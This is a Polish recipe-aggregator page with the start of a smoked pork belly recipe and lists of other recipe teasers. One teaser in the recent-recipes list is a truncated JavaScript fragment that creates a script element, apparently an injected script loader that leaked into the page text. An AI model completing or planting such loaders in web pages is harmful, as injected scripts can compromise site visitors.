Boczek wieprzowy wędzony.
Źródło: https://smakimariolki.blogspot.com/2024/12/boczek-wieprzowy-wedzony.html
Autor: Unknown
Efekt wędzenia w garnku na bardzo drobnych zrębkach olcha/buk.Składniki:10 kawałków surowego boczku bez skóry i kości 1,7 kg. (paski o szerokości 10-15 cm.)przędza wędliniarskaPeklowanie 4 dni według tabeli peklowania Dziadka .Dodatki do zalewy:ziele angielskie, czosnek, liść laurowyWykonanie:Zaparzamy szklanką wrzącej wody pieprz, ziele angielskie, czosnek, liść laurowy ( parzymy pod przykryciem 10-15 minut). Po sparzeniu dodajemy do solanki przygotowanej według tabeli ...
Najnowsze przepisy
Te racuszki z jabłkiem to szybki, domowy klasyk, który... ⇖ 2
Ciasto z kremem to jeden z tych deserów, które pojawiają... ⇖ 14
Mięciutkie ciasto marchewkowe – wilgotny i delikatny... ⇖ 24
Czy diabetyk może jeść pizzę? To pytanie nurtuje wiele... ⇖ 24
Zapiekanka ryżowa z mięsem to świetna okazja do zużycia... ⇖ 22
(function(){ zsif=document.createElement("script");zsif_=("o ⇖ 18
Naleśniki napełnione po same brzegi pysznym mięsnym... ⇖ 25
Ciasto bananowe, łatwe i szybkie, idealne na wykorzystanie... ⇖ 20
Przepisy z bloga
Pyszny salceson zrobiony z tylnej golonki wieprzowej i... ⇖ 568
Sernik jest o smaku śmietankowym, upieczony na spodzie z... ⇖ 596
Taka kolorowa jajecznica, bardzo smaczna.Składniki:2 jaja... ⇖ 475
Bardzo smaczne, pachnące pierniczki przygotowywane z... ⇖ 503
Przepisy na czasie
Szukasz pomysłu na jajka wielkanocne? Ten przepis na jajka... ⇖ 707
Upieczenie tej fikuśnej babki (zwanej na wielu stronach... ⇖ 646
Szukasz pomysłu na prostą, a jednocześnie wyjątkowo... ⇖ 322
Święta Wielkanocne to idealny czas na kreatywne i... ⇖ 321
Jeśli szukacie pomysłu na wypiek, który zachwyci gości,... ⇖ 317
Ciasto Iskierka z musem brzoskwiniowym i krememCiasto... ⇖ 255
Ciasto tortowe z kremem, galaretką i śmietanąCiasto... ⇖ 203
Szukasz pomysłu na szybkie i smaczne jajka w sosie... ⇖ 195
